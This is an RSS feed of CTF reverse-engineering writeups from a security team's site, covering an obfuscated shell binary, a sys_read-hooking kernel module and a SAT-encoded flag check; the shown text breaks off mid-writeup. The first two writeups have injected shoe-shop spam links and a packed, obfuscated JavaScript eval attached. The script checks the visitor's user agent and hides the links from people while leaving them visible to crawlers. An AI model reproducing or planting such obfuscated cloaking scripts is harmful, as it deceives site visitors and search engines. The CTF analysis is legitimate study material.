<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="https://ctfcrew.org"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>BalalaikaCr3w - reverse</title>
 <link>https://ctfcrew.org/categories/reverse</link>
 <description></description>
 <language>en</language>
<item>
 <title>5h311 (reverse 200)</title>
 <link>https://ctfcrew.org/writeup/89</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/28&quot;&gt;No cON Name CTF Finals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;strong&gt;Description: &lt;/strong&gt;Connect to the service listening at 10.210.8.1:6969 and get the flag.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution:&amp;nbsp;&lt;/strong&gt;We have x86 ELF binary (attached to this writeup). If you open it in disassembler, you will find that it&#039;s obfuscated, but strings aren&#039;t encrypted:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic1_1.png&quot; alt=&quot;&quot; height=&quot;226&quot; width=&quot;473&quot;&gt;&lt;/p&gt;&lt;p&gt;So, we have something like command interpreter... but the most intresting string is, of course, &quot;flag.txt&quot;. Now take a look into function, where this string are used. It&#039;s sub_080488D0 which we can call &lt;em&gt;on_cat&lt;/em&gt;. Because the only place, where it&#039;s used is:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic1_2.png&quot; alt=&quot;&quot; height=&quot;269&quot; width=&quot;629&quot;&gt;&lt;/p&gt;&lt;p&gt;Now it&#039;s time to understand obfuscation method:&lt;/p&gt;&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;\\some code ... 
while ( 1 ) {
 while ( 1 )  {
    while ( 1 )    {
      while ( 1 )      {
        while ( 1 )        {
          while ( 1 )          {
            curCmdCode = nextCmdCode;
            ni0 = nextCmdCode - 2044764020;
            if ( nextCmdCode &amp;lt;= 2044764020 )
              break;
            ni1 = curCmdCode - 2044764021;
            if ( curCmdCode == 2044764021 )
              nextCmdCode = -12968513931;
          }
          ni2 = curCmdCode + 2004157958;
          if ( curCmdCode &amp;gt; -2004157958 )
            break;
          ni3 = curCmdCode + 2087107103;
          if ( curCmdCode == -2087107103 )
            nextCmdCode = 646359876;
        }
        v77 = curCmdCode + 1904900740;
        if ( curCmdCode &amp;gt; -1904900740 )
          break;
        v76 = curCmdCode + 2004157957;
        if ( curCmdCode == -2004157957 ) {
          v12 = fprintf(
                  globalStream,
                  &quot;error: permission denied\n&quot;,
                  v15,
                  v16,
                  v17,
                  v18,
                  v19,
                  v20,
                  v21);
          v86 = 0;
          nextCmdCode = 1903774409;
          v18 = v12;
        }
      }
      v75 = curCmdCode + 1549151840;
      if ( curCmdCode &amp;gt; -1549151840 )
        break;
      v74 = curCmdCode + 1904900739;
      if ( curCmdCode == -1904900739 ) {
        v14 = fprintf(
                globalStream,
                &quot;error: cannot open flag.txt\n&quot;,
                v15,
                v16,
                v17,
                v18,
                v19,
                v20,
                v21);
        v86 = 0;
        nextCmdCode = -1116102172;
        v16 = v14;
      }
    }
    v73 = curCmdCode - 1903774408;
    if ( curCmdCode &amp;lt;= 1903774408 )
      break;
    v35 = curCmdCode - 1903774409;
    if ( curCmdCode == 1903774409 ) {
      v33 = -196240387;
      v32 = -2004157957;
      v3 = fprintf(
             globalStream,
             &quot;error: permission denied\n&quot;,
             v15,
             v16,
             v17,
             v18,
             v19,
             v20,
             v21);
      v86 = 0;
      nextCmdCode = v33;
      v31 = v3;
    }
  }
  v72 = curCmdCode + 1488433617;
  if ( curCmdCode &amp;gt; -1488433617 )
    break;
  v71 = curCmdCode + 1549151839;
  if ( curCmdCode == -1549151839 )
    nextCmdCode = -184417779;
}
\\more code...&lt;/pre&gt;&lt;p&gt;The original code was divided into blocks, which were divided between states of finite automata. Each state is defined by current state (&lt;em&gt;curCmdCode&lt;/em&gt;). The next state is defined by variable &lt;em&gt;nextCmdCode&lt;/em&gt;. The only thing we should do to deobfuscate is to find all possible ways in given finite automata. But there is an earsier way: in function named &lt;em&gt;on_cat&lt;/em&gt; we can notice one strange thing:&lt;/p&gt;&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;v2 = 799129272;
if (!dword_804E894)
  v2 = 373595890;
nextCmdCode = v2;&lt;/pre&gt;&lt;p&gt;this means that next execution flow depends of the value of global variable &lt;em&gt;dword_804E894&lt;/em&gt;, which is changed to value 1 only in one place: function, named &lt;em&gt;on_put&lt;/em&gt;. Now take a look into function &lt;em&gt;on_put&lt;/em&gt; at address 0x0804AC80.&lt;/p&gt;&lt;p&gt;This function checks elements of global array &lt;em&gt;globalVars &lt;/em&gt;at address 0x0804E8A8 (it&#039;s used to store pairs name&amp;amp;value, entered by user), where first 256 bytes is a name of variable and next 256 is suggested value or vice versa. So lets try to create variable in global array &lt;em&gt;globalVar&lt;/em&gt; with name &quot;puts&quot; and value &quot;printf&quot; or&amp;nbsp; vice versa, then type &quot;puts&quot; and &quot;cat flag.txt&quot;.... and we will get the flag.&lt;/p&gt;&lt;p&gt;I didn&#039;t logging my actions during the ctf so the next code is just a local test:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&amp;gt;ncat 192.168.249.144 6969
#############################################################
#                 Welcome to 5h311.nsa.gov                  #
#        All connections are monitored and recorded         #
# Disconnect IMMEDIATELY if you are not an authorized user! #
#############################################################

$ set puts printf
$ puts
# cat flag.txt
Yahoooo_its_my_flag
#&lt;/pre&gt;&lt;p&gt;So the task is done and no deobfuscation has been really needed.&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Adidas shoes&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfediqshop/release-dates/nike/air-jordan-1/&quot;&gt;Women&#039;s Nike Air Jordan 1 trainers - Latest Releases , Ietp&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Package icon&quot; title=&quot;application/zip&quot; src=&quot;/modules/file/icons/package-x-generic.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/5h311.zip&quot; type=&quot;application/zip; length=11387&quot;&gt;5h311.zip&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Sat, 01 Nov 2014 02:00:04 +0000</pubDate>
 <dc:creator>Dil4rd</dc:creator>
 <guid isPermaLink="false">89 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/89#comments</comments>
</item>
<item>
 <title>Gunslinger Joe&#039;s Gold (Reversing - 200)</title>
 <link>https://ctfcrew.org/writeup/86</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/27&quot;&gt;Hack.lu CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;Task:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;Silly Gunslinger Joe has learned from his mistakes with his private terminal and now tries to remember passwords. But he&#039;s gotten more paranoid and chose to develope an additional method: protect all his private stuff with a secure locking mechanism that no one would be able to figure out! He&#039;s so confident with this new method that he even started using it to protect all his precious gold. So … we better steal all of it!&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;margin: 0px; padding: 0px; color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;br style=&quot;margin: 0px; padding: 0px; color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;SSH: joes_gold@wildwildweb.fluxfingers.net&lt;/span&gt;&lt;br style=&quot;margin: 0px; padding: 0px; color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;PORT: 1415&lt;/span&gt;&lt;br style=&quot;margin: 0px; padding: 0px; color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;PASSWORD: 1gs67uendsx71xmma8&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;Solution:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;!--break--&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;Start with ssh connection to the given server (whatever). In the home directory I found two files: FLAG and gold_stash.&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;joes_gold@goldstash:~$ ls -la
total 32
drwxr-xr-x 2 joes_gold joes_gold  4096 Oct  6 23:09 .
drwxr-xr-x 3 root      root       4096 Oct  6 22:56 ..
-rw-r--r-- 1 joes_gold joes_gold  3106 Feb 20  2014 .bashrc
-r-------- 1 gold      gold         46 Oct  6 23:04 FLAG
-rwsr-sr-x 1 gold      gold      13186 Oct  6 23:03 gold_stash&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;So I didn&#039;t have enough rights to read FLAG but I sill could run gold_stash and found the way how it can read FLAG for me. I ran gold_stash and it asked me for username and password to authenticate.&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;joes_gold@goldstash:~$ ./gold_stash
          (_/-------------_______________________)
          `|  /~~~~~~~~~~\                       |
           ;  |--------(-||______________________|
           ;  |--------(-| ____________|
           ;  \__________/&#039;
         _/__         ___;
      ,~~    |  __--~~       Gunslinger Joe&#039;s
     &#039;        ~~| (  |       Private Stash of Gold
    &#039;      &#039;~~  `____&#039;
   &#039;      &#039;
  &#039;      `            Password Protection activated!
 &#039;       `
&#039;--------`
Username:
Password:
Authentication failed!&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;I copied it to my desktop and &#039;strings&#039; gave me: Joe and omg_joe_is_so_rich were found. Back to server.. enter username and password.. fail.. O_o. Ok, then I tried to check password locally.. and it was correct! &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;It seems to be time to RE.. but:&lt;br&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic200.png&quot; alt=&quot;&quot; width=&quot;529&quot; height=&quot;762&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;nothing new... &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;Ok, back again to server: I copied gold_stash to /tmp and start it.. password was ok, but suid bit was not copied and I was not able to read FLAG. So, something wreck my input or smth else.. I did &#039;lsmod&#039; and found one strange module &#039;joe.ko&#039;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;Then I&#039;ve started RE it. In short this driver hooks sys_read and modify result of sys_read (name it as &lt;em&gt;usInput&lt;/em&gt;) if it matches some conditions. The conditions are: &lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;if (some current_task parameter doesn&#039;t match smth) don&#039;t change anything;&lt;br&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;if (&lt;em&gt;usInput&lt;/em&gt; == &quot;omg_joe_is_so_rich&quot;) set &lt;em&gt;usInput&lt;/em&gt; to &lt;em&gt;encrypt&lt;/em&gt;(&lt;em&gt;usInput&lt;/em&gt;);&lt;br&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;if (&lt;/span&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;em&gt;encrypt&lt;/em&gt;(&lt;em&gt;usInput&lt;/em&gt;) ==&amp;nbsp; &quot;omg_joe_is_so_rich&quot;) &lt;/span&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;set &lt;em&gt;usInput&lt;/em&gt; to &quot;&lt;/span&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;omg_joe_is_so_rich&quot;.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;So I should have found such &lt;em&gt;st&lt;/em&gt; that match &lt;/span&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;em&gt;encrypt&lt;/em&gt;(&lt;em&gt;st&lt;/em&gt;) ==&amp;nbsp; &quot;omg_joe_is_so_rich&quot;. &lt;em&gt;Encrypt&lt;/em&gt; function code is quite simple:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic201_0.png&quot; alt=&quot;&quot; width=&quot;509&quot; height=&quot;335&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;and valid password can be recieved by the following code:&lt;/span&gt;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&amp;gt;&amp;gt;&amp;gt; k0 = &#039;123456789012445678&#039;
&amp;gt;&amp;gt;&amp;gt; k1 = &#039;omg_joe_is_so_rich&#039;
&amp;gt;&amp;gt;&amp;gt; &#039;&#039;.join([chr((ord(k0[i])^ord(k1[i]))+4) for i in range(len(k0))])
&#039;bcXoc]VkTGrE_oKcXT&#039;&lt;/pre&gt;&lt;p&gt;&amp;nbsp;&lt;span style=&quot;color: #222222; font-family: Sanchez; font-size: 16px; line-height: normal; text-align: justify;&quot;&gt;and now...&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;joes_gold@goldstash:~$ ./gold_stash
          (_/-------------_______________________)
          `|  /~~~~~~~~~~\                       |
           ;  |--------(-||______________________|
           ;  |--------(-| ____________|
           ;  \__________/&#039;
         _/__         ___;
      ,~~    |  __--~~       Gunslinger Joe&#039;s
     &#039;        ~~| (  |       Private Stash of Gold
    &#039;      &#039;~~  `____&#039;
   &#039;      &#039;
  &#039;      `            Password Protection activated!
 &#039;       `
&#039;--------`
Username: Joe
Password: bcXoc]VkTGrE_oKcXT
Access granted!
$ cat FLAG
flag{joe_thought_youd_never_find_that_module}&lt;/pre&gt;&lt;p&gt;The flag is: &lt;strong&gt;flag{joe_thought_youd_never_find_that_module}&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Adidas shoes&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;http://www.sb-roscoff.fr/en/bdebbeyshop/en-us/shoes/sneakers.html&quot;&gt;Women&#039;s Designer Sneakers - Luxury Shopping&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Package icon&quot; title=&quot;application/zip&quot; src=&quot;/modules/file/icons/package-x-generic.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/joe.ko_.zip&quot; type=&quot;application/zip; length=1957&quot;&gt;joe.ko_.zip&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;field-item odd&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Package icon&quot; title=&quot;application/zip&quot; src=&quot;/modules/file/icons/package-x-generic.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/gold_stash.zip&quot; type=&quot;application/zip; length=3482&quot;&gt;gold_stash.zip&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Fri, 24 Oct 2014 08:00:25 +0000</pubDate>
 <dc:creator>Triff</dc:creator>
 <guid isPermaLink="false">86 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/86#comments</comments>
</item>
<item>
 <title>SATELLITE RELOADED (reverse 250)</title>
 <link>https://ctfcrew.org/writeup/83</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/ppc&quot;&gt;ppc&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;field-item odd&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/26&quot;&gt;ASIS CTF Finals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Download this &lt;a href=&quot;http://asis-ctf.ir/tasks/2satreloaded_465509d872885f2a92656e29d3881ad6&quot;&gt;file&lt;/a&gt; and find the flag.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;After unziping this file we found that it&#039;s x64 ELF. At the main function we see some buffer dexoring:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic008.png&quot; alt=&quot;&quot; width=&quot;628&quot; height=&quot;691&quot;&gt;&lt;/p&gt;&lt;p&gt;Lets dexor it and save to file (IDA command line with idapython used):&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;s = &#039;&#039;
for i in range(10952):
	b = Byte(0x601820+i)
	if b==0:
		break
	s += chr(b ^ (0xd4 + i%2))
open(&#039;sat.txt&#039;,&#039;w&#039;).write(s)
&lt;/pre&gt;&lt;p&gt;The decrypted buffer seems to be a condition for some binary array (full dexored buffer avaliable &lt;a href=&quot;http://ctfcrew.org/sites/default/files/writeups/sat.txt&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;&lt;pre class=&quot;brush: plain; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;( a[253] | ! a[218] ) &amp;amp; ( ! a[92] | ! a[46] ) &amp;amp; ( ! a[2] | ! a[285] ) &amp;amp; ( ! a[275] | ! a[256] ) ...&lt;/pre&gt;&lt;p&gt;so we can suggest that this array is a binary representation of the flag (295 bits ~ 37 bytes) and everything we need is to find such array &lt;em&gt;a&lt;/em&gt; that this condition is true.&lt;/p&gt;&lt;p&gt;Well, this type of problem is well-known as &lt;a href=&quot;http://en.wikipedia.org/wiki/Boolean_satisfiability_problem&quot;&gt;SAT&lt;/a&gt;. There are many different solvers for such things in the Internet. We used &lt;a href=&quot;http://minisat.se/&quot;&gt;minisat&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Firstly, we need to convert all conditions to&amp;nbsp;&lt;a href=&quot;http://www.dwheeler.com/essays/minisat-user-guide.html&quot;&gt;MiniSAT Input Format&lt;/a&gt;. You can write short script for that but we did few &#039;Replace with&#039; at text editor.&lt;/p&gt;&lt;p&gt;Notice that array element with zero index should be substituted by non-zero index because of MiniSAT input format (0 means and of line). We changed 0 index to next after last one - 295. Now our SAT looks like&amp;nbsp;&lt;a href=&quot;http://ctfcrew.org/sites/default/files/writeups/mysat.txt&quot;&gt;needed&lt;/a&gt; and we can do:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ minisat mysat.txt myout.txt
============================[ Problem Statistics ]=============================
|                                                                             |
|  Number of variables:           295                                         |
|  Number of clauses:             441                                         |
|  Parse time:                   0.00 s                                       |
|  Eliminated clauses:           0.00 Mb                                      |
|  Simplification time:          0.00 s                                       |
|                                                                             |
============================[ Search Statistics ]==============================
| Conflicts |          ORIGINAL         |          LEARNT          | Progress |
|           |    Vars  Clauses Literals |    Limit  Clauses Lit/Cl |          |
===============================================================================
===============================================================================
restarts              : 1
conflicts             : 0              (0 /sec)
decisions             : 1              (0.00 % random) (467 /sec)
propagations          : 294            (137191 /sec)
conflict literals     : 0              ( nan % deleted)
Memory used           : 0.22 MB
CPU time              : 0.002143 s

SATISFIABLE
$ cat myout.txt 
SAT
